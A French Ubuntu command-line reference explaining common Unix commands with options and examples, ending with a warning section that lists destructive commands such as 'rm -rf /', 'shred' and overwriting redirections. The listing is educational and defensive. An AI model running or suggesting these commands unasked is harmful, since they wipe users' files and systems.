

petit précis des commandes unix utiles à ubuntu



les commandes de base en console

Introduction

La plupart des commandes présentées ici sont documentées dans votre système (si ce n'est pas le cas, installez les paquets¹ `apt://manpages`, `manpages-fr`, `manpages-fr-extra`), il vous suffit alors de taper dans une console `man commande` pour avoir toutes les informations sur le fonctionnement de la commande voulue.

- Je ne fais aucune différence entre les options POSIX et GNU
- Il est presque toujours possible de combiner les options (exemple : `ls -l -a` deviendra `ls -la`)
- Je ne précise pas si les commandes doivent être exécutées avec des droits plus élevés que ceux des simples utilisateurs
- Les mots *répertoire* et *dossier* sont équivalents.

Les commandes Unix de base à connaître

`man`

- Équivalent MS-DOS/MS Windows : `help`
- Signification : *Page de manuel*
- Affiche les pages du manuel système.

Chaque argument donné à `man` est généralement le nom d'un programme, d'un utilitaire ou d'une fonction.

- Exemples d'utilisation :
 - `man man`
affiche les informations pour l'utilisation de `man`
- 'q' pour quitter

`ls`

- Équivalent MS-DOS/MS Windows : `dir`
- Signification : *list segment*
- Permet de lister un répertoire
- Options les plus fréquentes :
 - `-l` : Permet un affichage détaillé du répertoire (permissions d'accès, le nombre de liens physiques, le nom du propriétaire et du groupe, la taille en octets, et l'horodatage)
 - `-h` : Associé avec `-l` affiche la taille des fichiers avec un suffixe correspondant à l'unité (K, M, G)
 - `-a` : Permet l'affichage des fichiers et répertoires cachés (ceux qui commencent par un `.` (point))
- Exemples d'utilisation :
 - `ls -a`
affiche tous les fichiers et répertoires cachés du répertoire courant
 - `ls /etc/`
affiche le contenu du répertoire `/etc/`



- **lspci ou lsusb**
affiche les périphériques PCI ou USB connectés.
- **ls en couleur²**

cd

- Équivalent MS-DOS/MS Windows : **cd**
- Signification : *change directory*
- Permet de se promener dans les répertoires
- Exemples d'utilisation :
 - **cd**
permet de revenir au répertoire /home/utilisateur (identique à cd ~)
 - **cd -**
permet de revenir au répertoire précédent
 - **cd ..**
permet de remonter au répertoire parent
 - **cd /**
permet de remonter à la racine de l'ensemble du système de fichiers
 - **cd /usr/bin/**
se place dans le répertoire /usr/bin/

mv

- Équivalent MS-DOS/MS Windows : **move ou ren**
- Signification : *move*
- Permet de déplacer ou renommer des fichiers et des répertoires
- Options les plus fréquentes :
 - **-f** : Ecrase les fichiers de destination sans confirmation
 - **-i** : Demande confirmation avant d'écraser
 - **-u** : N'écrase pas le fichier de destination si celui-ci est plus récent
- Exemples d'utilisation :
 - **mv monFichier unRep/**
Déplace *monFichier* dans le répertoire *unRep*
 - **mv unRep/monFichier**
Déplace le fichier *monFichier* du répertoire *unRep* là où on se trouve
 - **mv unRep monRep**
Renomme *unRep* en *monRep*

cp

- Équivalent MS-DOS/MS Windows : **copy**
- Signification : *copy*
- Permet de copier des fichiers ou des répertoires
- Options les plus fréquentes :
 - **-a** : Archive. Copie en gardant les droits, dates, propriétaires, groupes, etc.
 - **-i** : Demande une confirmation avant d'écraser
 - **-f** : Si le fichier de destination existe et ne peut être ouvert alors le détruire et essayer à nouveau
 - **-r** : Copie un répertoire et tout son contenu
 - **-u** : Ne copie que les fichiers plus récents ou qui n'existent pas
 - **-v** : permet de suivre les copies réalisées en temps réel



- Exemples d'utilisation :
 - `cp monFichier sousrep/`
Copie *monFichier* dans *sousrep*
 - `cp -r monRep/ ailleurs/`
Copie le répertoire *monRep* vers *ailleurs* en créant le répertoire s'il n'existe pas.

rm

- Équivalent MS-DOS/MS Windows : `del`
- Signification : *remove*
- Permet d'effacer des fichiers
- Options les plus fréquentes :
 - `-f` : Ne demande pas de confirmation avant d'effacer
 - `-r` : Efface récursivement les fichiers ainsi que les répertoires
- Exemples d'utilisation :
 - `rm CeFichier`
Efface le fichier *CeFichier*
 - `rm -rf /tmp/LeRep`
Efface le répertoire */tmp/LeRep* ainsi que tous ses fichiers sans demander de confirmation

mkdir

- Équivalent MS-DOS/MS Windows : `mkdir` ou `md`
- Signification : *make directory*
- Crée un répertoire vide
- Options les plus fréquentes :
 - `-p` : Crée les répertoires parents s'ils n'existent pas
- Exemples d'utilisation :
 - `mkdir photos`
Crée le répertoire *photos*
 - `mkdir -p photos/2005/noel`
Crée le répertoire *noel* et s'ils n'existent pas les répertoires *2005* et *photos*

rmdir

- Équivalent MS-DOS/MS Windows : `rmdir` ou `rd`
- Signification : *remove directory*
- Supprime un répertoire (vide)
- Options les plus fréquentes :
 - `-p` : Supprime les répertoires parents s'ils deviennent vides
- Exemples d'utilisation :
 - `rmdir LeRep`
Supprime le répertoire *LeRep*

top

- Montre la charge CPU
- Options les plus fréquentes :
 - `-u` : affiche les processus pour un utilisateur donné
- Exemples d'utilisation :
 - `top`
 - `top -u root`



pwd

- Équivalent MS-DOS/MS Windows : chdir
- Signification : *print working directory*
- Affiche le répertoire en cours

ln

- Signification : *link*
- Crée un lien (physique ou symbolique) vers un fichier (ou un répertoire)
- Options les plus fréquentes :
 - -s : Crée un lien symbolique (similaire au raccourci du monde Windows)
 - -f : Force l'écrasement du fichier de destination s'il existe
 - -d : Crée un lien sur un répertoire (uniquement en mode sudo ou root)
- Exemples d'utilisation :
 - ln -s Rep1/Rep2/Monfichier MonLien
Crée un lien symbolique *MonLien* de *Rep1/Rep2/Monfichier* dans le répertoire où on se trouve
 - ln Monfichier unRep/AutreNom
Crée un lien physique *AutreNom* de *Monfichier* dans le répertoire *unRep*
- Notes :
 - Vérifiez que vous vous trouvez bien dans le répertoire dans lequel vous souhaitez créer le lien avant de faire cette commande.

find

- Équivalent MS-DOS/MS Windows : find
- Signification : *rechercher*
- Permet de chercher des fichiers et éventuellement d'exécuter des commandes sur ceux-ci ; la recherche est *récursive* c'est-à-dire qu'elle concerne le répertoire de départ et toute sa descendance (sous-répertoires ainsi que toute leur descendance ...)
- Options les plus fréquentes :
 - -name : Recherche d'un fichier par son nom
 - -iname : Même chose que name mais insensible à la casse
 - -type : Recherche de fichier d'un certain type
 - -atime : Recherche par date de dernier accès
 - -mtime : Recherche par date de dernière modification
 - -link : Recherche du nombre de liens au fichier
 - -user : Recherche de fichiers appartenant à l'utilisateur donné
 - -group : Recherche de fichiers appartenant au groupe donné
- Action les plus fréquentes :
 - -exec : Exécute la commande donnée aux fichiers trouvés
 - -ok : Même chose que exec mais demande une confirmation
 - -ls : exécute la commande ls à chaque fichier trouvé
- Opérateurs les plus fréquents :
 - -a : Opérateur ET
 - -o : Opérateur OU
 - ! ou -not : Opérateur NOT
- Exemples d'utilisation :

simple

Placez-vous dans le répertoire à partir duquel la recherche *récursive* doit être effectuée et faites :



- **find monfichier***

Recherche un fichier commençant par "monfichier"

- **find *monfichier*.ogg**

Recherche un fichier contenant "monfichier" et ayant pour extention ".ogg"

avancé

- **find /home/ -name monfichier**

Recherche le fichier *monfichier* dans toute la descendance de */home/*

- **find . -name "*.c"**

Recherche tous les fichiers ayant une extension *.c*

- **find . -mtime -5**

Recherche les fichiers du répertoire courant qui ont été modifiés entre maintenant et il y a 5 jours

- **find /home/ -mtime -1 ! -type d**

Recherche uniquement les fichiers (*! -type d* signifie n'était pas un répertoire) ayant été modifiés ces dernières 24h

- **find . ! -user root**

Affiche tous les fichiers n'appartenant pas à l'utilisateur root

- **find . \(-name '*.wmv' -o -name '*.wma'\) -exec rm {} ;**

Recherche et supprime tous les fichiers WMA et WMV trouvés

- Autres exemples sur <http://ardchoille42.blogspot.com/2009/08/finding-files-via-comand-line.html>

grep

- Équivalent MS-DOS/MS Windows : **find**

- Signification : *global regular expression print*

Recherche une chaîne de caractères dans des fichiers (ou depuis la console si aucun fichier n'est indiqué) ; Souvent utilisé en filtre avec d'autres commandes.

- Options les plus fréquentes :

- **-c** : Retourne le nombre de lignes au lieu des lignes elles mêmes

- **-n** : Retourne les lignes préfixées par leur numéro

- **-i** : Insensible à la casse

- **-r** : Recherche récursivement dans tous les sous-répertoires ; On peut utiliser la commande **rgrep**

- **-G** : Recherche en utilisant une expression relationnelle basique (option par défaut)

- **-E** : Recherche en utilisant une expression relationnelle étendue ; On peut utiliser la commande **egrep**

- **-F** : Recherche en utilisant une chaîne fixe ; On peut utiliser la commande **fgrep**

- Exemples d'utilisation :

- **grep -n montexte monfichier**

Retourne toutes les lignes ainsi que leur numéro où *montexte* apparaît dans *monfichier*

locate

Son utilisation - très simple - est détaillée ici : http://doc.ubuntu-fr.org/recherche_ligne_commande

cat

- Équivalent MS-DOS/MS Windows : **type**



- Signification : *concatenate*
- Affiche le contenu d'un fichier
- Options les plus fréquentes :
 - -n : Affiche les numéros de ligne
 - -v : Affiche les caractères de contrôles
- Exemple d'utilisation :
 - **cat -n monFichier**
Affiche *monFichier* en numérotant les lignes à partir de 1

more

- Équivalent MS-DOS/MS Windows : **type**
- Signification : *more*
- Affiche un fichier page par page
- Options les plus fréquentes :
 - -s : Regroupe les lignes vides consécutives en une seule
 - -f : Ne coupe pas les lignes longues
- Exemple d'utilisation :
 - **more -sf monFichier**
Affiche *monFichier* page par page en concaténant les lignes vides sans compter les lignes longues.

less

- Équivalent MS-DOS/MS Windows : **type**
- Signification : *less*
- Affiche un fichier page par page
- Options les plus fréquentes :
 - -e ou -E : Quitte automatiquement la deuxième fois que la fin du fichier est atteinte, ou dès la première fois avec -E.
 - -F : Quitte automatiquement si le fichier tient sur le terminal.
 - -m ou -M : Prompt long à la **more**.
 - -r ou -R : Autorise les caractères spéciaux.
 - -x : Règle la taille des tabulations.
 - -- : ne comble pas les lignes vides par des -
- Exemple d'utilisation :
 - **less -Emr~ monFichier**
Affiche *monFichier* page par page avec un prompt long (affichage du pourcentage du fichier parcouru) en affichant les caractères spéciaux sans combler les lignes vides par des -

Les commandes système

chmod

- Équivalent MS-DOS/MS Windows : **cacls**
 - Signification : *change mode*
 - Modifie les permissions d'accès à un fichier ou à un répertoire.
- Type d'autorisations (une autorisation d'exécution sur un répertoire autorise son ouverture) :
- + : Ajoute une permission
 - - : Enlève une permission
 - = : Autorise uniquement l'autorisation indiquée



- **r** : Lecture ; Valeur octale **4**
- **w** : Ecriture ; Valeur octale **2**
- **x** : Execution ; Valeur octale **1**
- **s** : Utilise les droits du propriétaire ou du groupe lors de l'exécution
- **u** : Propriétaire du fichier
- **g** : Groupe propriétaire du fichier
- **o** : Tous les autres utilisateurs
- Options les plus fréquentes :
 - **-R** : Récuratif, modifie les autorisations d'un répertoire et tout ce qu'il contient
 - **-c** : Ne montrer que les fichiers ayant été réellement modifiés
 - **-f** : Ne pas afficher les messages d'erreur
- Exemples d'utilisation :
 - **chmod ugo+x monRep**
Ajoute l'exécution (ouverture) du répertoire *monRep* à tous (propriétaire, groupe, autres)
 - **chmod go-wx monRep**
Supprime l'autorisation de lecture et d'écriture de *monRep* au groupe et aux autres
 - **chmod u=rw,go=r MonFichier**
Fixe l'autorisation de lecture et d'écriture au propriétaire de *MonFichier* et une autorisation de lecture au groupe et aux autres.
 - **chmod 644 MonFichier**
Exactement la même chose que ci-dessus mais en utilisant les valeurs octales (Nota : $6 = 4+2 =$ lecture + écriture)
 - **chmod u=rw,g=r,o= MonFichier**
Fixe l'autorisation d'ouverture et de lecture de *MonFichier* au propriétaire, uniquement la lecture au groupe et interdit tout accès aux autres.
 - **chmod 640 MonFichier**
Exactement la même chose que ci-dessus mais en utilisant les valeurs octales

chown

- Équivalent MS-DOS/MS Windows : **cacls**
- Signification : *change owner*
- Change le propriétaire et le groupe propriétaire d'un fichier
- Options les plus fréquentes :
 - **-R** : Modifie récursivement un répertoire et tout ce qu'il contient
- Exemples d'utilisation :
 - **chown autreUtilisateur MonFichier**
Change le propriétaire de *MonFichier* en *autreUtilisateur*
 - **chown -R lui:nous monRep**
Change le propriétaire en *lui* et le groupe propriétaire en *nous* du répertoire *monRep* ainsi que tout ce qu'il contient

chgrp

- Signification : *change groupe*
- Change le groupe propriétaire d'un fichier
- Options les plus fréquentes :
 - **-R** : Change récursivement un répertoire et tout ce qu'il contient
 - **-h** : Change le groupe propriétaire d'un lien symbolique et seulement lui (ne touche pas à la destination du lien)
 - **-L** : Si fournie avec **R**, change le groupe propriétaire d'un répertoire et des fichiers qu'il contient s'il est pointé par un lien symbolique rencontré lors de l'exécution



- Exemples d'utilisation :

- **chgrp unGroupe MonFichier**

Change le groupe propriétaire du fichier *MonFichier* en *unGroupe*

- **chgrp -R unGroupe monRep**

Change le groupe propriétaire du répertoire *monRep* ainsi que tout ce qu'il contient en *unGroupe*

free

- Signification : *mémoire libre*

- Affiche la mémoire disponible / utilisée du système

- Options les plus fréquentes :

- **-b** : Affiche la mémoire en bytes

- **-k** : Affiche la mémoire en kilo octet

- **-m** : Affiche la mémoire en méga octet

- **-g** : Affiche la mémoire en giga octet

- **-s** : Spécifie le délai de réaffichage de la mémoire

- **-t** : Affiche la ligne des totaux

- Exemples d'utilisation :

- **free -m -s 5**

Affiche la mémoire du système en méga octet toutes les 5 secondes

mount

- Signification : *mount*

- Monter un système de fichiers

- Options les plus fréquentes :

- **-a** : Monter tous les systèmes de fichier déclarés dans le fichier */etc/fstab*

- **-t** : Précise le type de fichier à monter

- **-o** : Ajouter une option. Options adjointe à **-o** les plus fréquentes :

- **auto** : Permet d'être monté par **-a**

- **async** : Les entrées/sorties sur le système de fichiers seront asynchrones

- **defaults** : Utilise les options **rw**, **suid**, **dev**, **exec**, **auto**, **nouser**, et **async**.

- **dev** : Interprète les fichiers spéciaux de périphériques du système présent dans */dev*/

- **exec** : Permet l'exécution de fichiers binaires du système monté

- **noauto** : Empêche d'être monté avec **-a**

- **nodev** : Ne pas interpréter les fichiers spéciaux de périphériques du système

- **noexec** : Empêche l'exécution de fichiers binaires du système monté

- **nouser** : Ne pas autoriser d'autres utilisateurs que **root** (ou **sudo**) à monter le système de fichiers (comportement par défaut)

- **ro** : Monte le système en lecture seule

- **rw** : Monte le système en lecture et écriture

- **suid** : Prend en compte les bits SetUID ou SetGID du système monté

- **user** : Permet aux utilisateurs ordinaires à monter et démonter le système de fichiers (implique **noexec**, **nosuid**, et **nodev** sauf si surchargées)

- Exemples d'utilisation :

- **mount**

Liste tous les systèmes de fichiers actuellement montés

- **mount -a**

Monte tous les systèmes de fichiers déclarés dans le fichier */etc/fstab*

- **mount /mnt/maPartition**

Monte le système de fichiers ad-hoc déclarés dans le fichier */etc/fstab*



- **mount -t iso9660 monFichier.iso /mnt/monIso -o loop**

Monte dans un *périphérique boucle* (loop) le fichier iso *monFichier.iso* dans le répertoire */mnt/monIso*

- **mount -t vfat -o defaults,rw,user,umask=022,uid=1000 /dev/sda1 /mnt/Mondisk/**

Monte un disque dur USB (*/dev/sda1*) formaté en FAT32 (-t *vfat*) en lecture écriture (*rw*) dans le répertoire */mnt/Mondisk/* ; tous les utilisateurs peuvent le démonter (*user*), les droits d'exécution (*uid=1000*) sont fixés à l'utilisateur ayant l'UID 1000 (sous Ubuntu, l'uid 1000 correspond au premier utilisateur créé) et la création d'un fichier s'effectuera avec les permissions 644 (rw-r--r-) et pour un répertoire 755 (rwxr-xr-x) (umask 022)

- Ressource :

- A lire aussi **mount_fstab³**

umount

- Signification : *umout*

- Démonte un système de fichiers

- Options les plus fréquentes :

- -a : Démonte tous les systèmes de fichiers présents dans */etc/mtab*

- -d : Si le système monté est un périphérique *loop*, libérer le périphérique.

- -f : Forcer le démontage

- -r : Si impossible de démonter, monter en lecture seule

- Exemples d'utilisation :

- **umount /mnt/Mondisk**

Démonte le système de fichiers monté dans */mnt/Mondisk*

- **umount -f /dev/cdrom**

Force le démontage du périphérique CDROM

- **umount -d /mnt/monIso**

Démonte et libère le périphérique loop

- **umount -a**

Démonte tous les systèmes de fichiers montés (à l'exception de */proc*) ; ne sert que lorsque l'on veut redémarrer ou éteindre sa machine manuellement et proprement.

sudo

- Équivalent MS-DOS/MS Windows : **runas**

- Signification : *super user - do*

- Permet d'exécuter des commandes en tant qu'un autre utilisateur, donc avec d'autres priviléges que les siens.

- Options les plus fréquentes :

- -s : Importe les variables d'environnement du shell

- -k : Lorsque l'on utilise **sudo**, il garde en mémoire le mot de passe ; cette option déconnecte l'utilisateur et forcera à redemander un mot de passe si **sudo** est exécuté avant le timeout défini.

- Exemples d'utilisation :

- **\$ sudo reboot**

Lance la commande **reboot** avec les droits de l'utilisateur root

- Ressources :

- <http://doc.ubuntu-fr.org/sudo>

- Site officiel de **sudo** : <http://www.courtesan.com/sudo/>

- Voir aussi la commande **visudo**



ps

- Équivalent MS-DOS/MS Windows : `tasklist`
- Signification : *processes snapshot*
- Affiche les processus en cours
- Options les plus fréquentes :
 - `-u` : Affiche les processus de l'utilisateur qui exécute la commande
 - `-au` : Affiche les processus de tous les utilisateurs
 - `-aux` : Affiche l'intégralité des processus du système. Équivalent à `ps -A`
 - `-faux` : Affiche tous les processus du système en les regroupant par enchaînement d'exécution.
- Exemples d'utilisation :
 - `ps -u`
Tous les processus de l'utilisateur courant
 - `ps -aux`
Tous les processus en cours

kill / killall

- Équivalent MS-DOS/MS Windows : `taskkill`
- Signification : *kill / kill all [tuer/tuer tous]*
- Permet d'envoyer un signal à un processus ; `kill` ne comprend que les PID (Process Identifier, numéro d'ordre du processus), `killall` quant à lui comprend le nom du processus.
- Options les plus fréquentes :
 - `-s` : Indique quel signal s à envoyer au processus ; Le signal peut être identifié soit par son nom (exemple : `SIGTERM`) soit par son numéro (exemple : 9) ; Cette option peut être remplacée par le numéro du signal : `-s 9` est équivalent à `-9`.
 - `-l` : Affiche la liste des signaux connus.
- Les signaux les plus courants sont :
 - HUP signal 1 : signal de fin d'exécution ou le processus doit relire son fichier de configuration.
 - TERM signal 15 : Le signal Terminate indique à un processus qu'il doit s'arrêter.
 - KILL signal 9 : Le signal Kill indique au système qu'il doit arrêter un processus qui ne répond plus.
- Exemples d'utilisation :
 - `kill -15 14774` : Envoie le signal 15, ou TERM, au processus ayant le numéro 14774 ce qui a pour effet de terminer *proprement* le processus.
 - `kill -9 7804` : Envoie le signal 9, ou KILL, au processus ayant le numéro 7804 ce qui a pour effet de tuer le processus.
 - `killall -TERM firefox-bin` : Envoie le signal TERM, ou 15, au processus firefox-bin ce qui a pour effet de le fermer.
- Il est conseillé de lancer des signaux de faible importance avant de lancer la grosse artillerie. En pratique, tester dans l'ordre et deux fois chacune de ces commandes :
- Ça ne marche pas ? Deux possibilités, diagnosticable à l'aide de la commande `ps aux|grep nom_du_process` :
 - Le processus est devenu « zombie ». Dans ce cas, la commande précédente affiche un 'Z'. Pour le tuer, il faut tuer ou redémarrer son processus parent, que l'on peut déterminer avec la commande `ps -ef` ou `ps aux`.
 - Le processus est interruptible (il apparaît comme 'D' avec la commande précédente), bloqué sur une opération d'entrée/sortie (I/O), vraisemblablement suite à un bug dans un pilote matériel. Dans ce cas, aucune issue : la politique des développeurs du noyau linux est de considérer qu'avoir la main sur ce type de processus compromettrait trop profondément la stabilité du système. C'est l'un des rares cas où l'on a pas d'autre choix que de redémarrer l'ordinateur.



passwd

- Signification : *password*
- Permet de modifier le mot de passe d'un utilisateur
- Options les plus fréquentes :
 - -S : Affiche l'état d'un compte (nom du compte, bloqué (L), si l'utilisateur n'a pas de mot de passe (NP) ou a un mot de passe utilisable (P), date de dernière modification du mot de passe, durée minimum avant modification, durée maximum de validité, durée d'avertissement, durée d'inactivité autorisée)
- A moins d'être administrateur système ou réseau (auquel cas pourquoi lisez-vous ces lignes ;-) ?) cette commande s'utilise généralement sans option.
- Exemple d'utilisation :
 - **passwd**
- Demande à changer le mot de passe

groups

- Signification : *groups*
- Affiche les groupes auxquels appartient un utilisateur
- Exemples d'utilisation :
 - **groups**
- Affiche la liste des groupes auxquels appartient l'utilisateur ayant tapé la commande.
- **groups CyberSDF**
- Affiche tous les groupes auxquels appartient l'utilisateur CyberSDF.

adduser

- Signification : *add user*
- Ajoute un utilisateur, ou un groupe, au système.
- Options les plus fréquentes :
 - **-disabled-login** : Empêche l'utilisateur de se connecter.
 - **-disabled-password** : Un peu comme `disabled-login` sauf qu'il est possible de se connecter via une clé RSA SSH, pratique pour créer un utilisateur qui ne se connectera que via SSH.
 - **-system** : Crée un utilisateur système.
 - **-group** : Avec **-system** crée un groupe avec le même ID que l'utilisateur système, sans un groupe avec le nom donné sera créé
 - **-home** : Permet de fixer le répertoire HOME de l'utilisateur.
 - **-no-create-home** : Ne crée pas de répertoire HOME.
- Exemples d'utilisation :
 - **adduser CyberSDF**
- Crée l'utilisateur CyberSDF
- **adduser -disabled-password -no-create-home CyberSSH**
- Crée un utilisateur CyberSSH sans mot de passe qui ne pourra pas se connecter directement sur la machine et sans lui créer de répertoire home.
- **adduser -disabled-password -home /home/CyberSDF CyberSDF**
- Même chose qu'au dessus sauf qu'on lui donne le même répertoire HOME qu'à l'utilisateur CyberSDF créé en premier.

deluser



- Signification : *delete user*
- Supprime un utilisateur du système.
- Option la plus fréquente :
 - **-system** : Ne supprime l'utilisateur que si c'est un utilisateur système.
 - **-remove-home** : Supprime l'utilisateur ainsi que son répertoire dans le home.
- Exemple d'utilisation :
 - **deluser CyberSSH**
Supprime l'utilisateur CyberSSH
 - **deluser -remove-home bob**
Supprime l'utilisateur bob ainsi que le répertoire /home/bob

usermod

- Signification : *user modification*
- Modifie le groupe d'appartenance d'un utilisateur.
- Options les plus fréquentes :
 - **-G, -groups GROUPE1[,GROUPE2,...,[GROUPEN]]]** : Ajouter l'utilisateur aux groupes précédents. Si l'utilisateur fait actuellement partie d'un groupe qui n'est pas listé, l'utilisateur sera supprimé du groupe. Ce comportement peut être changé avec l'option **-a**, qui permet d'ajouter l'utilisateur à une liste de groupes supplémentaires.
- Exemples d'utilisation :
 - **usermod -aG toto machin**
Ajoute l'utilisateur machin au groupe toto sans supprimer machin de son groupe originel.
 - **sudo usermod -d /home/nouveau_login -m -l nouveau_login ancien_login**
Permet de renommer le répertoire (dossier) utilisateur et de changer son nom. Pratique lorsque le pc change de mains.

df

- Signification : *disk free*
- Affiche la quantité d'espace disque utilisé par les systèmes de fichiers.
- Options les plus fréquentes :
 - **-a** : Affiche tous les systèmes de fichiers, y compris ceux de 0 blocs (par exemple : proc, sysfs, usbfs et tmpfs)
 - **-h** : Ajoute aux valeur un **M** pour mébioctet (2^{20} octets) pour que ce soit plus lisible.
 - **-H** : Pareil que **-h** mais en mégaoctets (10^6 octets).
 - **-T** : Affiche le type du système de fichier.
- Exemples d'utilisation :
 - **df -h**
Affiche la quantité d'espace disque utilisé en mébioctets par les systèmes de fichiers.
 - **df /home**
Affiche la quantité d'espace disque utilisé par la partition /home (si elle existe)
 - **df -T -h**
Affichage le nom des partitions et leur point de montage.

fdisk

- Équivalent MS-DOS/MS Windows : **fdisk**
- Signification : *infos disques*
- Affiche les infos des disques
- Options les plus fréquentes :
 - **-l** Informations détaillées des disques



- Exemples d'utilisation
 - `sudo fdisk -l`

du

- Équivalent MS-DOS/MS Windows : `dir`
- Signification : *directory usage*
- Affiche l'espace disque utilisé par répertoires
- Options les plus fréquentes :
 - `-a` : Afficher pour tous les fichiers et pas uniquement les répertoires.
 - `-c` : Faire un total après avoir tout affiché.
 - `-h` : Ajoute un suffixe correspondant à l'unité (K, M, G)
 - `-H` : Idem que `-h` mais en puissance de 10
- Exemple d'utilisation :
 - `du -ch /home/CyberSDF`
Affiche la taille des répertoires contenus dans `/home/CyberSDF` en utilisant un suffixe puis le total.

uptime

- Signification : *uptime*
- Indique depuis quand le système fonctionne.
- Exemples d'utilisation :

```
kill pid (envoie le signal 15, TERM)
kill -INT pid (envoie le signal 2, INT)
kill -KILL pid (envoie le signal 9, KILL)
```

◦ uptime

Affiche l'heure actuelle, la durée depuis laquelle le système fonctionne, le nombre d'utilisateurs actuellement connectés, et la charge système moyenne ; Commande de geek par excellence :-) qui ne sert pas à grand chose pour un utilisateur lambda, mais utile pour un administrateur.

lspci

- Signification : *list pci*
- Liste tous les périphériques PCI
- Option la plus fréquente :
 - `-v` : Affiche des informations plus détaillées
- Exemples d'utilisation :
 - `lspci`

lsusb

- Signification : *list usb*
- Liste tous les périphériques USB
- Option la plus fréquente :
 - `-v` : Affiche des informations plus détaillées
- Exemples d'utilisation :
 - `lsusb`



uname

- Signification : *unix name*
- Affiche des informations sur le système.
- Options les plus fréquentes :
 - **-s** : Affiche le nom du noyau.
 - **-n** : Affiche le nom de la machine (hostname).
 - **-r** : Affiche la révision du noyau
 - **-v** : Affiche la version du noyau
 - **-m** : Affiche le type de processeur de la machine (i386, i686, etc.)
 - **-o** : Affiche le nom du système d'exploitation
 - **-a** : Afficher les informations en utilisant les options -snrvmo
- Exemple d'utilisation :
 - **uname -a**
 - Affiche tout.

apt-get

- Signification : *advanced package tool - get*
- Permet l'installation et le retrait de packages en tenant compte des dépendances ainsi que le téléchargement des packages s'ils sont sur une source réseau.
- Commandes les plus fréquentes :
 - **update** : Met à jour la liste des packages disponibles en fonction des sources fournies.
 - **upgrade** : Met à jour tous les packages déjà installés.
 - **dist-upgrade** : Pareil que précédent mais permet également de passer à une version n+1 simplement de la distribution
 - **install** : Installe un ou plusieurs packages.
 - **remove** : Supprime un ou plusieurs packages.
 - **clean** : Efface du disque dur les packages téléchargés.
- Options les plus fréquentes :
 - **-f** : Utilisée avec **install** ou **remove** cette option permet de réparer un système dont les dépendances sont défectueuses.
 - **-m** : Ignore les paquets manquants (à éviter si on ne sait pas exactement ce que l'on fait).
 - **-s** : Fait une simulation des actions à mener sans rien toucher au système.
 - **-y** : Répond automatiquement *oui* à toutes les questions.
 - **-u** : Affiche les paquets mis à jour.
 - **-purge** : A utiliser conjointement avec **remove** pour supprimer tout ce qui peut l'être (fichiers de configuration par exemple).
 - **-reinstall** : Réinstaller les paquets avec leur version plus récente.
- Exemples d'utilisation :
 - **apt-get update**
Met à jour la liste de packages.
 - **apt-get upgrade**
Met à jour tous les packages installés.
 - **apt-get install package1 package2**
Installe package1 et package2.
 - **apt-get -purge remove package3**
Supprime package3 ainsi que tous les fichiers de configuration.
- Ressources :
 - <http://doc.ubuntu-fr.org/apt>
 - Chez Debian le APT HOWTO⁴



apt-cache

- Signification : *avanced package tool - cache*
- Gestion des paquets et manipulation du cache par APT
- Commandes les plus fréquentes :
 - **show** : Affiche les informations associées au paquet.
 - **search** : Recherche l'expression régulière donnée sur tous les paquets disponibles.
 - **depends** : Affiche les paquets dépendants du paquet donné.
 - **rdepends** : Affiche les paquets qui ont en dépendance le paquet donné.
 - **madison** : Affiche le dépôt dans lequel se trouve le paquet donné.
- Options les plus fréquentes :
 - **-f** : Affiche tous les champs d'information.
 - **-n** : Ne recherche que dans les noms des paquets.
- Exemples d'utilisation :
 - **apt-cache show xeyes**
Affiche les informations associée au paquet xeyes.
 - **apt-cache depends ubuntu-desktop**
Affiche toutes les dépendances du paquet ubuntu-desktop.
 - **apt-cache rdepends gnome-about**
Affiche tous les paquets dont dépend le paquet gnome-about.
 - **apt-cache search -n irc**
Recherche et affiche tous les paquets ayant dans leur nom *irc*
 - **apt-cache madison w32codecs**
Indique le dépôt fournissant le paquet w32codecs



les commandes dangereuses

La ligne de commande est un outil puissant, et notamment très pratique pour détecter ou résoudre les problèmes : il en est donc souvent fait usage sur le forum ou dans la documentation. Cependant, certains utilisateurs malveillants peuvent donner des commandes dangereuses qui corrompent, voire détruisent le système, ou les données. L'exécution d'une commande nécessite donc toujours la plus grande prudence (utiliser la commande man, recherche sur Google, attente d'un deuxième avis, etc.). À titre d'exemple et dans un but éducatif, afin de montrer qu'il convient toujours de se méfier, voilà quelques commandes dangereuses.

Attention, ces commandes sont dangereuses, ne les exécutez pas !

Cette liste est loin d'être exhaustive, mais devrait vous donner un aperçu de ce que les gens peuvent essayer de vous inciter à faire. Souvenez-vous que cela peut être dissimulé dans une commande ou masqué dans le cadre d'une procédure longue.

Les «QUELQUE_CHOSE», «QUELQUE_COMMANDE» et «QUELQUE_CHOSE_IMPORTANT» indiqués dans les commandes pouvant être remplacés par n'importe quelle chaîne de caractères.

Suppression de tous les fichiers ou des fichiers du répertoire actuel ou de fichiers importants

Sous linux avec un terminal on peut tout faire, absolument tout. Donc lisez bien ceci : Le danger de ces commandes est tout à fait évident :

Règle n° 1 : NE JAMAIS VALIDER UNE COMMANDE QUI POURRAIT VOUS FAIRE PERDRE VOS DONNEES ET VOTRE SYSTEME.

En cas de doute, n'hésitez pas à faire une sauvegarde de vos données sur un support externe tel qu'une clef USB, un disque dur USB, ou un CD/DVD enregistrable, et à vérifier que la sauvegarde a fonctionné.

Celles qui peuvent tout effacer (fichier système ou données personnelles) :

```
rm -rf /
rm -rf .
rm -rf *
mv QUELQUE_CHOSE /dev/null
shred QUELQUE_CHOSE
QUELQUE_COMMANDE > QUELQUE_CHOSE_IMPORTANT
sed QUELQUE_CHOSE -i QUELQUE_CHOSE
mv -r / /dev/null (Déplace les fichiers de façon récursive depuis la racine
vers null = tout est effacé).
```



la commande

```
> fichiers*
```

est aussi redoutable : elle redirige du rien en écrasant les fichiers.

ainsi que toutes les variantes commençant par ‘rm’ et ‘mv’ et se terminant par /dev/null
Pourquoi ?

- rm est la commande de suppression des fichiers sous Gnu-Linux, rm quelque chose supprimera ce quelque chose, imaginez que vous supprimez tous vos fichiers système (racine /), ou vos fichiers personnels (/home/<votreidentifiant/) !

/dev/null est l'équivalent de la corbeille définitive, tout fichier envoyé à cette sortie entraîne sa suppression.

Assurez vous que :

- un avertissement vous prévient et vous en assumerez les conséquences en cas de perte de données.
- la documentation est bien claire, bien rédigée, explicite.

Protection remplacez le plus souvent possible cette commande par :

```
rm -i <nom du fichier à supprimer>
```

(mode interactif avec confirmation de suppression) Vous pouvez aussi utiliser la commande mv (déplacer)

```
mv <nom du fichier à supprimer> ~/.local/share/Trash/files
```

Exemple :

Suppression du fichier labrador.jpeg (une image) au lieu d'exécuter

```
rm labrador.jpeg
```

Entrez plutôt :

```
rm -i labrador.jpeg
```

```
mv labrador.jpeg ~/.local/share/Trash/files
```

